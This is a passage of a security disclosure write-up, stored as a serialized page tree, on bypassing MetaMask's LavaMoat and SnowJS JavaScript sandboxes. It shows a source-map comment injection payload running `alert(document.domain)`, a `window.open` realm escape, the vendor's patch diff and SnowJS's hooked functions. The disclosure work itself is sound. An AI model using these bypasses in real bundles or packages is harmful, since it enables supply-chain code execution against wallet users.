'');\n};\n",[55561],{"type":24,"tag":284,"props":55562,"children":55563},{"__ignoreMap":7},[55564,55603,55629,55637,55851,55858,55865,55872,55907,55957],{"type":24,"tag":327,"props":55565,"children":55566},{"class":329,"line":330},[55567,55572,55576,55581,55585,55589,55593,55598],{"type":24,"tag":327,"props":55568,"children":55569},{"style":356},[55570],{"type":29,"value":55571},"Object",{"type":24,"tag":327,"props":55573,"children":55574},{"style":346},[55575],{"type":29,"value":66},{"type":24,"tag":327,"props":55577,"children":55578},{"style":340},[55579],{"type":29,"value":55580},"defineProperty",{"type":24,"tag":327,"props":55582,"children":55583},{"style":346},[55584],{"type":29,"value":349},{"type":24,"tag":327,"props":55586,"children":55587},{"style":1639},[55588],{"type":29,"value":44599},{"type":24,"tag":327,"props":55590,"children":55591},{"style":346},[55592],{"type":29,"value":2744},{"type":24,"tag":327,"props":55594,"children":55595},{"style":844},[55596],{"type":29,"value":55597},"'commentRegex'",{"type":24,"tag":327,"props":55599,"children":55600},{"style":346},[55601],{"type":29,"value":55602},", {\n",{"type":24,"tag":327,"props":55604,"children":55605},{"class":329,"line":367},[55606,55611,55615,55619,55624],{"type":24,"tag":327,"props":55607,"children":55608},{"style":340},[55609],{"type":29,"value":55610},"  get",{"type":24,"tag":327,"props":55612,"children":55613},{"style":356},[55614],{"type":29,"value":1636},{"type":24,"tag":327,"props":55616,"children":55617},{"style":334},[55618],{"type":29,"value":44927},{"type":24,"tag":327,"props":55620,"children":55621},{"style":340},[55622],{"type":29,"value":55623}," getCommentRegex",{"type":24,"tag":327,"props":55625,"children":55626},{"style":346},[55627],{"type":29,"value":55628}," () {\n",{"type":24,"tag":327,"props":55630,"children":55631},{"class":329,"line":408},[55632],{"type":24,"tag":327,"props":55633,"children":55634},{"style":551},[55635],{"type":29,"value":55636},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":327,"props":55638,"children":55639},{"class":329,"line":421},[55640,55644,55650,55655,55660,55665,55669,55674,55679,55684,55688,55692,55697,55702,55707,55712,55716,55720,55724,55729,55733,55738,55743,55748,55753,55757,55761,55765,55769,55773,55777,55781,55785,55790,55795,55799,55804,55809,55813,55817,55821,55825,55830,55834,55838,55842,55847],{"type":24,"tag":327,"props":55641,"children":55642},{"style":425},[55643],{"type":29,"value":6023},{"type":24,"tag":327,"props":55645,"children":55647},{"style":55646},"--shiki-default:#D16969",[55648],{"type":29,"value":55649}," /",{"type":24,"tag":327,"props":55651,"children":55652},{"style":340},[55653],{"type":29,"value":55654},"^",{"type":24,"tag":327,"props":55656,"children":55657},{"style":55646},[55658],{"type":29,"value":55659},"\\s",{"type":24,"tag":327,"props":55661,"children":55662},{"style":55093},[55663],{"type":29,"value":55664},"*?\\/",{"type":24,"tag":327,"props":55666,"children":55667},{"style":844},[55668],{"type":29,"value":11329},{"type":24,"tag":327,"props":55670,"children":55671},{"style":55093},[55672],{"type":29,"value":55673},"\\/\\*",{"type":24,"tag":327,"props":55675,"children":55676},{"style":844},[55677],{"type":29,"value":55678},"][",{"type":24,"tag":327,"props":55680,"children":55681},{"style":55646},[55682],{"type":29,"value":55683},"@#",{"type":24,"tag":327,"props":55685,"children":55686},{"style":844},[55687],{"type":29,"value":22934},{"type":24,"tag":327,"props":55689,"children":55690},{"style":55646},[55691],{"type":29,"value":55659},{"type":24,"tag":327,"props":55693,"children":55694},{"style":55093},[55695],{"type":29,"value":55696},"+?",{"type":24,"tag":327,"props":55698,"children":55699},{"style":55646},[55700],{"type":29,"value":55701},"sourceMappingURL=data:",{"type":24,"tag":327,"props":55703,"children":55704},{"style":844},[55705],{"type":29,"value":55706},"(((?:",{"type":24,"tag":327,"props":55708,"children":55709},{"style":55646},[55710],{"type":29,"value":55711},"application",{"type":24,"tag":327,"props":55713,"children":55714},{"style":340},[55715],{"type":29,"value":17963},{"type":24,"tag":327,"props":55717,"children":55718},{"style":55646},[55719],{"type":29,"value":29},{"type":24,"tag":327,"props":55721,"children":55722},{"style":844},[55723],{"type":29,"value":3146},{"type":24,"tag":327,"props":55725,"children":55726},{"style":55093},[55727],{"type":29,"value":55728},"\\/",{"type":24,"tag":327,"props":55730,"children":55731},{"style":55646},[55732],{"type":29,"value":40709},{"type":24,"tag":327,"props":55734,"children":55735},{"style":844},[55736],{"type":29,"value":55737},")(?:",{"type":24,"tag":327,"props":55739,"children":55740},{"style":55646},[55741],{"type":29,"value":55742},";charset=",{"type":24,"tag":327,"props":55744,"children":55745},{"style":844},[55746],{"type":29,"value":55747},"([^",{"type":24,"tag":327,"props":55749,"children":55750},{"style":55646},[55751],{"type":29,"value":55752},";,",{"type":24,"tag":327,"props":55754,"children":55755},{"style":844},[55756],{"type":29,"value":22934},{"type":24,"tag":327,"props":55758,"children":55759},{"style":55093},[55760],{"type":29,"value":55696},{"type":24,"tag":327,"props":55762,"children":55763},{"style":844},[55764],{"type":29,"value":3146},{"type":24,"tag":327,"props":55766,"children":55767},{"style":55093},[55768],{"type":29,"value":7437},{"type":24,"tag":327,"props":55770,"children":55771},{"style":844},[55772],{"type":29,"value":3146},{"type":24,"tag":327,"props":55774,"children":55775},{"style":55093},[55776],{"type":29,"value":7437},{"type":24,"tag":327,"props":55778,"children":55779},{"style":844},[55780],{"type":29,"value":3146},{"type":24,"tag":327,"props":55782,"children":55783},{"style":55093},[55784],{"type":29,"value":7437},{"type":24,"tag":327,"props":55786,"children":55787},{"style":844},[55788],{"type":29,"value":55789},"(?:",{"type":24,"tag":327,"props":55791,"children":55792},{"style":55646},[55793],{"type":29,"value":55794},";",{"type":24,"tag":327,"props":55796,"children":55797},{"style":844},[55798],{"type":29,"value":349},{"type":24,"tag":327,"props":55800,"children":55801},{"style":55646},[55802],{"type":29,"value":55803},"base64",{"type":24,"tag":327,"props":55805,"children":55806},{"style":844},[55807],{"type":29,"value":55808},"))",{"type":24,"tag":327,"props":55810,"children":55811},{"style":55093},[55812],{"type":29,"value":7437},{"type":24,"tag":327,"props":55814,"children":55815},{"style":55646},[55816],{"type":29,"value":11698},{"type":24,"tag":327,"props":55818,"children":55819},{"style":844},[55820],{"type":29,"value":349},{"type":24,"tag":327,"props":55822,"children":55823},{"style":55646},[55824],{"type":29,"value":66},{"type":24,"tag":327,"props":55826,"children":55827},{"style":55093},[55828],{"type":29,"value":55829},"*?",{"type":24,"tag":327,"props":55831,"children":55832},{"style":844},[55833],{"type":29,"value":3146},{"type":24,"tag":327,"props":55835,"children":55836},{"style":340},[55837],{"type":29,"value":17835},{"type":24,"tag":327,"props":55839,"children":55840},{"style":55646},[55841],{"type":29,"value":2899},{"type":24,"tag":327,"props":55843,"children":55844},{"style":334},[55845],{"type":29,"value":55846},"mg",{"type":24,"tag":327,"props":55848,"children":55849},{"style":346},[55850],{"type":29,"value":405},{"type":24,"tag":327,"props":55852,"children":55853},{"class":329,"line":450},[55854],{"type":24,"tag":327,"props":55855,"children":55856},{"style":346},[55857],{"type":29,"value":13439},{"type":24,"tag":327,"props":55859,"children":55860},{"class":329,"line":481},[55861],{"type":24,"tag":327,"props":55862,"children":55863},{"style":346},[55864],{"type":29,"value":42050},{"type":24,"tag":327,"props":55866,"children":55867},{"class":329,"line":500},[55868],{"type":24,"tag":327,"props":55869,"children":55870},{"emptyLinePlaceholder":16},[55871],{"type":29,"value":544},{"type":24,"tag":327,"props":55873,"children":55874},{"class":329,"line":529},[55875,55879,55883,55887,55891,55895,55899,55903],{"type":24,"tag":327,"props":55876,"children":55877},{"style":1639},[55878],{"type":29,"value":44599},{"type":24,"tag":327,"props":55880,"children":55881},{"style":346},[55882],{"type":29,"value":66},{"type":24,"tag":327,"props":55884,"children":55885},{"style":340},[55886],{"type":29,"value":55490},{"type":24,"tag":327,"props":55888,"children":55889},{"style":381},[55890],{"type":29,"value":4809},{"type":24,"tag":327,"props":55892,"children":55893},{"style":334},[55894],{"type":29,"value":44927},{"type":24,"tag":327,"props":55896,"children":55897},{"style":346},[55898],{"type":29,"value":5894},{"type":24,"tag":327,"props":55900,"children":55901},{"style":356},[55902],{"type":29,"value":39380},{"type":24,"tag":327,"props":55904,"children":55905},{"style":346},[55906],{"type":29,"value":364},{"type":24,"tag":327,"props":55908,"children":55909},{"class":329,"line":538},[55910,55914,55918,55922,55927,55931,55935,55939,55944,55948,55953],{"type":24,"tag":327,"props":55911,"children":55912},{"style":425},[55913],{"type":29,"value":45912},{"type":24,"tag":327,"props":55915,"children":55916},{"style":356},[55917],{"type":29,"value":55081},{"type":24,"tag":327,"props":55919,"children":55920},{"style":346},[55921],{"type":29,"value":66},{"type":24,"tag":327,"props":55923,"children":55924},{"style":340},[55925],{"type":29,"value":55926},"replace",{"type":24,"tag":327,"props":55928,"children":55929},{"style":346},[55930],{"type":29,"value":349},{"type":24,"tag":327,"props":55932,"children":55933},{"style":1639},[55934],{"type":29,"value":44599},{"type":24,"tag":327,"props":55936,"children":55937},{"style":346},[55938],{"type":29,"value":66},{"type":24,"tag":327,"props":55940,"children":55941},{"style":356},[55942],{"type":29,"value":55943},"commentRegex",{"type":24,"tag":327,"props":55945,"children":55946},{"style":346},[55947],{"type":29,"value":2744},{"type":24,"tag":327,"props":55949,"children":55950},{"style":844},[55951],{"type":29,"value":55952},"''",{"type":24,"tag":327,"props":55954,"children":55955},{"style":346},[55956],{"type":29,"value":583},{"type":24,"tag":327,"props":55958,"children":55959},{"class":329,"line":547},[55960],{"type":24,"tag":327,"props":55961,"children":55962},{"style":346},[55963],{"type":29,"value":24092},{"type":24,"tag":25,"props":55965,"children":55966},{},[55967,55969,55975],{"type":29,"value":55968},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":284,"props":55970,"children":55972},{"className":55971},[],[55973],{"type":29,"value":55974},"/*",{"type":29,"value":55976},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":235,"props":55978,"children":55980},{"id":55979},"the-bypass",[55981],{"type":29,"value":55982},"The Bypass",{"type":24,"tag":25,"props":55984,"children":55985},{},[55986,55988,55993,55995,56000],{"type":29,"value":55987},"By abusing the ",{"type":24,"tag":284,"props":55989,"children":55991},{"className":55990},[],[55992],{"type":29,"value":55490},{"type":29,"value":55994}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":284,"props":55996,"children":55998},{"className":55997},[],[55999],{"type":29,"value":54834},{"type":29,"value":56001}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":317,"props":56003,"children":56005},{"className":38073,"code":56004,"language":38075,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[56006],{"type":24,"tag":284,"props":56007,"children":56008},{"__ignoreMap":7},[56009,56017,56024,56032,56040,56048,56056,56064,56072,56079,56087],{"type":24,"tag":327,"props":56010,"children":56011},{"class":329,"line":330},[56012],{"type":24,"tag":327,"props":56013,"children":56014},{"style":551},[56015],{"type":29,"value":56016},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":327,"props":56018,"children":56019},{"class":329,"line":367},[56020],{"type":24,"tag":327,"props":56021,"children":56022},{"emptyLinePlaceholder":16},[56023],{"type":29,"value":544},{"type":24,"tag":327,"props":56025,"children":56026},{"class":329,"line":408},[56027],{"type":24,"tag":327,"props":56028,"children":56029},{"style":551},[56030],{"type":29,"value":56031},"}}}}\n",{"type":24,"tag":327,"props":56033,"children":56034},{"class":329,"line":421},[56035],{"type":24,"tag":327,"props":56036,"children":56037},{"style":551},[56038],{"type":29,"value":56039},"}, {\n",{"type":24,"tag":327,"props":56041,"children":56042},{"class":329,"line":450},[56043],{"type":24,"tag":327,"props":56044,"children":56045},{"style":551},[56046],{"type":29,"value":56047},"    package: \"xpl\",\n",{"type":24,"tag":327,"props":56049,"children":56050},{"class":329,"line":481},[56051],{"type":24,"tag":327,"props":56052,"children":56053},{"style":551},[56054],{"type":29,"value":56055},"    file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":327,"props":56057,"children":56058},{"class":329,"line":500},[56059],{"type":24,"tag":327,"props":56060,"children":56061},{"style":551},[56062],{"type":29,"value":56063},"    test: alert(document.domain),\n",{"type":24,"tag":327,"props":56065,"children":56066},{"class":329,"line":529},[56067],{"type":24,"tag":327,"props":56068,"children":56069},{"style":551},[56070],{"type":29,"value":56071},"    test1: () => { () => { () => { () => {\n",{"type":24,"tag":327,"props":56073,"children":56074},{"class":329,"line":538},[56075],{"type":24,"tag":327,"props":56076,"children":56077},{"emptyLinePlaceholder":16},[56078],{"type":29,"value":544},{"type":24,"tag":327,"props":56080,"children":56081},{"class":329,"line":547},[56082],{"type":24,"tag":327,"props":56083,"children":56084},{"style":551},[56085],{"type":29,"value":56086},"/*\n",{"type":24,"tag":327,"props":56088,"children":56089},{"class":329,"line":557},[56090],{"type":24,"tag":327,"props":56091,"children":56092},{"style":551},[56093],{"type":29,"value":56094},"*/\n",{"type":24,"tag":25,"props":56096,"children":56097},{},[56098],{"type":29,"value":56099},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":235,"props":56101,"children":56103},{"id":56102},"lavapack-patch",[56104],{"type":29,"value":56105},"Lavapack Patch",{"type":24,"tag":25,"props":56107,"children":56108},{},[56109,56111,56117],{"type":29,"value":56110},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":284,"props":56112,"children":56114},{"className":56113},[],[56115],{"type":29,"value":56116},"assertValidJS",{"type":29,"value":56118},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":56120,"children":56121},{},[56122,56124,56131],{"type":29,"value":56123},"The patch was introduced in commit ",{"type":24,"tag":57,"props":56125,"children":56128},{"href":56126,"rel":56127},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[61],[56129],{"type":29,"value":56130},"9c38cd4",{"type":29,"value":66},{"type":24,"tag":317,"props":56133,"children":56135},{"className":47074,"code":56134,"language":47076,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[56136],{"type":24,"tag":284,"props":56137,"children":56138},{"__ignoreMap":7},[56139,56147,56155,56163,56171,56179,56187,56195,56202,56210],{"type":24,"tag":327,"props":56140,"children":56141},{"class":329,"line":330},[56142],{"type":24,"tag":327,"props":56143,"children":56144},{"style":397},[56145],{"type":29,"value":56146},"+ function assertValidJS(code) {\n",{"type":24,"tag":327,"props":56148,"children":56149},{"class":329,"line":367},[56150],{"type":24,"tag":327,"props":56151,"children":56152},{"style":397},[56153],{"type":29,"value":56154},"+  try {\n",{"type":24,"tag":327,"props":56156,"children":56157},{"class":329,"line":408},[56158],{"type":24,"tag":327,"props":56159,"children":56160},{"style":397},[56161],{"type":29,"value":56162},"+    new Function(code)\n",{"type":24,"tag":327,"props":56164,"children":56165},{"class":329,"line":421},[56166],{"type":24,"tag":327,"props":56167,"children":56168},{"style":397},[56169],{"type":29,"value":56170},"+  } catch (err) {\n",{"type":24,"tag":327,"props":56172,"children":56173},{"class":329,"line":450},[56174],{"type":24,"tag":327,"props":56175,"children":56176},{"style":397},[56177],{"type":29,"value":56178},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":327,"props":56180,"children":56181},{"class":329,"line":481},[56182],{"type":24,"tag":327,"props":56183,"children":56184},{"style":397},[56185],{"type":29,"value":56186},"+  }\n",{"type":24,"tag":327,"props":56188,"children":56189},{"class":329,"line":500},[56190],{"type":24,"tag":327,"props":56191,"children":56192},{"style":397},[56193],{"type":29,"value":56194},"+ }\n",{"type":24,"tag":327,"props":56196,"children":56197},{"class":329,"line":529},[56198],{"type":24,"tag":327,"props":56199,"children":56200},{"emptyLinePlaceholder":16},[56201],{"type":29,"value":544},{"type":24,"tag":327,"props":56203,"children":56204},{"class":329,"line":538},[56205],{"type":24,"tag":327,"props":56206,"children":56207},{"style":397},[56208],{"type":29,"value":56209},"+  // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":327,"props":56211,"children":56212},{"class":329,"line":547},[56213],{"type":24,"tag":327,"props":56214,"children":56215},{"style":397},[56216],{"type":29,"value":56217},"+  assertValidJS(sourceMeta.code)\n",{"type":24,"tag":228,"props":56219,"children":56221},{"id":56220},"hacking-js-realms",[56222],{"type":29,"value":56223},"Hacking JS Realms",{"type":24,"tag":25,"props":56225,"children":56226},{},[56227,56229,56234],{"type":29,"value":56228},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":284,"props":56230,"children":56232},{"className":56231},[],[56233],{"type":29,"value":44130},{"type":29,"value":56235}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":317,"props":56237,"children":56239},{"className":38073,"code":56238,"language":38075,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[56240],{"type":24,"tag":284,"props":56241,"children":56242},{"__ignoreMap":7},[56243,56285],{"type":24,"tag":327,"props":56244,"children":56245},{"class":329,"line":330},[56246,56250,56255,56259,56263,56267,56272,56276,56281],{"type":24,"tag":327,"props":56247,"children":56248},{"style":334},[56249],{"type":29,"value":17202},{"type":24,"tag":327,"props":56251,"children":56252},{"style":356},[56253],{"type":29,"value":56254}," w",{"type":24,"tag":327,"props":56256,"children":56257},{"style":381},[56258],{"type":29,"value":4809},{"type":24,"tag":327,"props":56260,"children":56261},{"style":356},[56262],{"type":29,"value":38118},{"type":24,"tag":327,"props":56264,"children":56265},{"style":346},[56266],{"type":29,"value":66},{"type":24,"tag":327,"props":56268,"children":56269},{"style":340},[56270],{"type":29,"value":56271},"open",{"type":24,"tag":327,"props":56273,"children":56274},{"style":346},[56275],{"type":29,"value":349},{"type":24,"tag":327,"props":56277,"children":56278},{"style":844},[56279],{"type":29,"value":56280},"'/non_existent'",{"type":24,"tag":327,"props":56282,"children":56283},{"style":346},[56284],{"type":29,"value":583},{"type":24,"tag":327,"props":56286,"children":56287},{"class":329,"line":367},[56288,56293,56297,56301,56305,56309,56313,56317],{"type":24,"tag":327,"props":56289,"children":56290},{"style":356},[56291],{"type":29,"value":56292},"w",{"type":24,"tag":327,"props":56294,"children":56295},{"style":346},[56296],{"type":29,"value":66},{"type":24,"tag":327,"props":56298,"children":56299},{"style":340},[56300],{"type":29,"value":39408},{"type":24,"tag":327,"props":56302,"children":56303},{"style":346},[56304],{"type":29,"value":349},{"type":24,"tag":327,"props":56306,"children":56307},{"style":356},[56308],{"type":29,"value":39418},{"type":24,"tag":327,"props":56310,"children":56311},{"style":346},[56312],{"type":29,"value":66},{"type":24,"tag":327,"props":56314,"children":56315},{"style":356},[56316],{"type":29,"value":39428},{"type":24,"tag":327,"props":56318,"children":56319},{"style":346},[56320],{"type":29,"value":852},{"type":24,"tag":25,"props":56322,"children":56323},{},[56324,56326,56331],{"type":29,"value":56325},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":284,"props":56327,"children":56329},{"className":56328},[],[56330],{"type":29,"value":44130},{"type":29,"value":56332}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":56334,"children":56335},{},[56336,56338,56345],{"type":29,"value":56337},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":57,"props":56339,"children":56342},{"href":56340,"rel":56341},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[61],[56343],{"type":29,"value":56344},"Metamask implementation",{"type":29,"value":3146},{"type":24,"tag":235,"props":56347,"children":56349},{"id":56348},"snowjs-attack-surface",[56350],{"type":29,"value":56351},"SnowJS Attack Surface",{"type":24,"tag":25,"props":56353,"children":56354},{},[56355],{"type":29,"value":56356},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":56358,"children":56359},{},[56360,56362,56369],{"type":29,"value":56361},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":57,"props":56363,"children":56366},{"href":56364,"rel":56365},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[61],[56367],{"type":29,"value":56368},"hooked inserters",{"type":29,"value":56370}," functions:",{"type":24,"tag":317,"props":56372,"children":56374},{"className":38073,"code":56373,"language":38075,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[56375],{"type":24,"tag":284,"props":56376,"children":56377},{"__ignoreMap":7},[56378,56398,56419,56458,56512,56551,56650,56670,56691],{"type":24,"tag":327,"props":56379,"children":56380},{"class":329,"line":330},[56381,56385,56390,56394],{"type":24,"tag":327,"props":56382,"children":56383},{"style":334},[56384],{"type":29,"value":17202},{"type":24,"tag":327,"props":56386,"children":56387},{"style":356},[56388],{"type":29,"value":56389}," map",{"type":24,"tag":327,"props":56391,"children":56392},{"style":381},[56393],{"type":29,"value":4809},{"type":24,"tag":327,"props":56395,"children":56396},{"style":346},[56397],{"type":29,"value":497},{"type":24,"tag":327,"props":56399,"children":56400},{"class":329,"line":367},[56401,56406,56410,56415],{"type":24,"tag":327,"props":56402,"children":56403},{"style":356},[56404],{"type":29,"value":56405},"    Range:",{"type":24,"tag":327,"props":56407,"children":56408},{"style":346},[56409],{"type":29,"value":4446},{"type":24,"tag":327,"props":56411,"children":56412},{"style":844},[56413],{"type":29,"value":56414},"'insertNode'",{"type":24,"tag":327,"props":56416,"children":56417},{"style":346},[56418],{"type":29,"value":21794},{"type":24,"tag":327,"props":56420,"children":56421},{"class":329,"line":408},[56422,56427,56431,56436,56440,56445,56449,56454],{"type":24,"tag":327,"props":56423,"children":56424},{"style":356},[56425],{"type":29,"value":56426},"    DocumentFragment:",{"type":24,"tag":327,"props":56428,"children":56429},{"style":346},[56430],{"type":29,"value":4446},{"type":24,"tag":327,"props":56432,"children":56433},{"style":844},[56434],{"type":29,"value":56435},"'replaceChildren'",{"type":24,"tag":327,"props":56437,"children":56438},{"style":346},[56439],{"type":29,"value":2744},{"type":24,"tag":327,"props":56441,"children":56442},{"style":844},[56443],{"type":29,"value":56444},"'append'",{"type":24,"tag":327,"props":56446,"children":56447},{"style":346},[56448],{"type":29,"value":2744},{"type":24,"tag":327,"props":56450,"children":56451},{"style":844},[56452],{"type":29,"value":56453},"'prepend'",{"type":24,"tag":327,"props":56455,"children":56456},{"style":346},[56457],{"type":29,"value":21794},{"type":24,"tag":327,"props":56459,"children":56460},{"class":329,"line":421},[56461,56466,56470,56474,56478,56482,56486,56490,56494,56499,56503,56508],{"type":24,"tag":327,"props":56462,"children":56463},{"style":356},[56464],{"type":29,"value":56465},"    Document:",{"type":24,"tag":327,"props":56467,"children":56468},{"style":346},[56469],{"type":29,"value":4446},{"type":24,"tag":327,"props":56471,"children":56472},{"style":844},[56473],{"type":29,"value":56435},{"type":24,"tag":327,"props":56475,"children":56476},{"style":346},[56477],{"type":29,"value":2744},{"type":24,"tag":327,"props":56479,"children":56480},{"style":844},[56481],{"type":29,"value":56444},{"type":24,"tag":327,"props":56483,"children":56484},{"style":346},[56485],{"type":29,"value":2744},{"type":24,"tag":327,"props":56487,"children":56488},{"style":844},[56489],{"type":29,"value":56453},{"type":24,"tag":327,"props":56491,"children":56492},{"style":346},[56493],{"type":29,"value":2744},{"type":24,"tag":327,"props":56495,"children":56496},{"style":844},[56497],{"type":29,"value":56498},"'write'",{"type":24,"tag":327,"props":56500,"children":56501},{"style":346},[56502],{"type":29,"value":2744},{"type":24,"tag":327,"props":56504,"children":56505},{"style":844},[56506],{"type":29,"value":56507},"'writeln'",{"type":24,"tag":327,"props":56509,"children":56510},{"style":346},[56511],{"type":29,"value":21794},{"type":24,"tag":327,"props":56513,"children":56514},{"class":329,"line":450},[56515,56520,56524,56529,56533,56538,56542,56547],{"type":24,"tag":327,"props":56516,"children":56517},{"style":356},[56518],{"type":29,"value":56519},"    Node:",{"type":24,"tag":327,"props":56521,"children":56522},{"style":346},[56523],{"type":29,"value":4446},{"type":24,"tag":327,"props":56525,"children":56526},{"style":844},[56527],{"type":29,"value":56528},"'appendChild'",{"type":24,"tag":327,"props":56530,"children":56531},{"style":346},[56532],{"type":29,"value":2744},{"type":24,"tag":327,"props":56534,"children":56535},{"style":844},[56536],{"type":29,"value":56537},"'insertBefore'",{"type":24,"tag":327,"props":56539,"children":56540},{"style":346},[56541],{"type":29,"value":2744},{"type":24,"tag":327,"props":56543,"children":56544},{"style":844},[56545],{"type":29,"value":56546},"'replaceChild'",{"type":24,"tag":327,"props":56548,"children":56549},{"style":346},[56550],{"type":29,"value":21794},{"type":24,"tag":327,"props":56552,"children":56553},{"class":329,"line":481},[56554,56559,56563,56568,56572,56577,56581,56586,56590,56595,56599,56604,56608,56612,56616,56621,56625,56629,56633,56638,56642,56646],{"type":24,"tag":327,"props":56555,"children":56556},{"style":356},[56557],{"type":29,"value":56558},"    Element:",{"type":24,"tag":327,"props":56560,"children":56561},{"style":346},[56562],{"type":29,"value":4446},{"type":24,"tag":327,"props":56564,"children":56565},{"style":844},[56566],{"type":29,"value":56567},"'innerHTML'",{"type":24,"tag":327,"props":56569,"children":56570},{"style":346},[56571],{"type":29,"value":2744},{"type":24,"tag":327,"props":56573,"children":56574},{"style":844},[56575],{"type":29,"value":56576},"'outerHTML'",{"type":24,"tag":327,"props":56578,"children":56579},{"style":346},[56580],{"type":29,"value":2744},{"type":24,"tag":327,"props":56582,"children":56583},{"style":844},[56584],{"type":29,"value":56585},"'insertAdjacentHTML'",{"type":24,"tag":327,"props":56587,"children":56588},{"style":346},[56589],{"type":29,"value":2744},{"type":24,"tag":327,"props":56591,"children":56592},{"style":844},[56593],{"type":29,"value":56594},"'replaceWith'",{"type":24,"tag":327,"props":56596,"children":56597},{"style":346},[56598],{"type":29,"value":2744},{"type":24,"tag":327,"props":56600,"children":56601},{"style":844},[56602],{"type":29,"value":56603},"'insertAdjacentElement'",{"type":24,"tag":327,"props":56605,"children":56606},{"style":346},[56607],{"type":29,"value":2744},{"type":24,"tag":327,"props":56609,"children":56610},{"style":844},[56611],{"type":29,"value":56444},{"type":24,"tag":327,"props":56613,"children":56614},{"style":346},[56615],{"type":29,"value":2744},{"type":24,"tag":327,"props":56617,"children":56618},{"style":844},[56619],{"type":29,"value":56620},"'before'",{"type":24,"tag":327,"props":56622,"children":56623},{"style":346},[56624],{"type":29,"value":2744},{"type":24,"tag":327,"props":56626,"children":56627},{"style":844},[56628],{"type":29,"value":56453},{"type":24,"tag":327,"props":56630,"children":56631},{"style":346},[56632],{"type":29,"value":2744},{"type":24,"tag":327,"props":56634,"children":56635},{"style":844},[56636],{"type":29,"value":56637},"'after'",{"type":24,"tag":327,"props":56639,"children":56640},{"style":346},[56641],{"type":29,"value":2744},{"type":24,"tag":327,"props":56643,"children":56644},{"style":844},[56645],{"type":29,"value":56435},{"type":24,"tag":327,"props":56647,"children":56648},{"style":346},[56649],{"type":29,"value":21794},{"type":24,"tag":327,"props":56651,"children":56652},{"class":329,"line":500},[56653,56658,56662,56666],{"type":24,"tag":327,"props":56654,"children":56655},{"style":356},[56656],{"type":29,"value":56657},"    ShadowRoot:",{"type":24,"tag":327,"props":56659,"children":56660},{"style":346},[56661],{"type":29,"value":4446},{"type":24,"tag":327,"props":56663,"children":56664},{"style":844},[56665],{"type":29,"value":56567},{"type":24,"tag":327,"props":56667,"children":56668},{"style":346},[56669],{"type":29,"value":21794},{"type":24,"tag":327,"props":56671,"children":56672},{"class":329,"line":529},[56673,56678,56682,56687],{"type":24,"tag":327,"props":56674,"children":56675},{"style":356},[56676],{"type":29,"value":56677},"    HTMLIFrameElement:",{"type":24,"tag":327,"props":56679,"children":56680},{"style":346},[56681],{"type":29,"value":4446},{"type":24,"tag":327,"props":56683,"children":56684},{"style":844},[56685],{"type":29,"value":56686},"'srcdoc'",{"type":24,"tag":327,"props":56688,"children":56689},{"style":346},[56690],{"type":29,"value":21794},{"type":24,"tag":327,"props":56692,"children":56693},{"class":329,"line":538},[56694],{"type":24,"tag":327,"props":56695,"children":56696},{"style":346},[56697],{"type":29,"value":24092},{"type":24,"tag":25,"props":56699,"children":56700},{},[56701],{"type":29,"value":56702},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":56704,"children":56705},{},[56706],{"type":29,"value":56707},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":235,"props":56709,"children":56711},{"id":56710},"bypassing-snowjs",[56712],{"type":29,"value":56713},"Bypassing SnowJS",{"type":24,"tag":25,"props":56715,"children":56716},{},[56717,56719,56730,56732,56738],{"type":29,"value":56718},"The deprecated 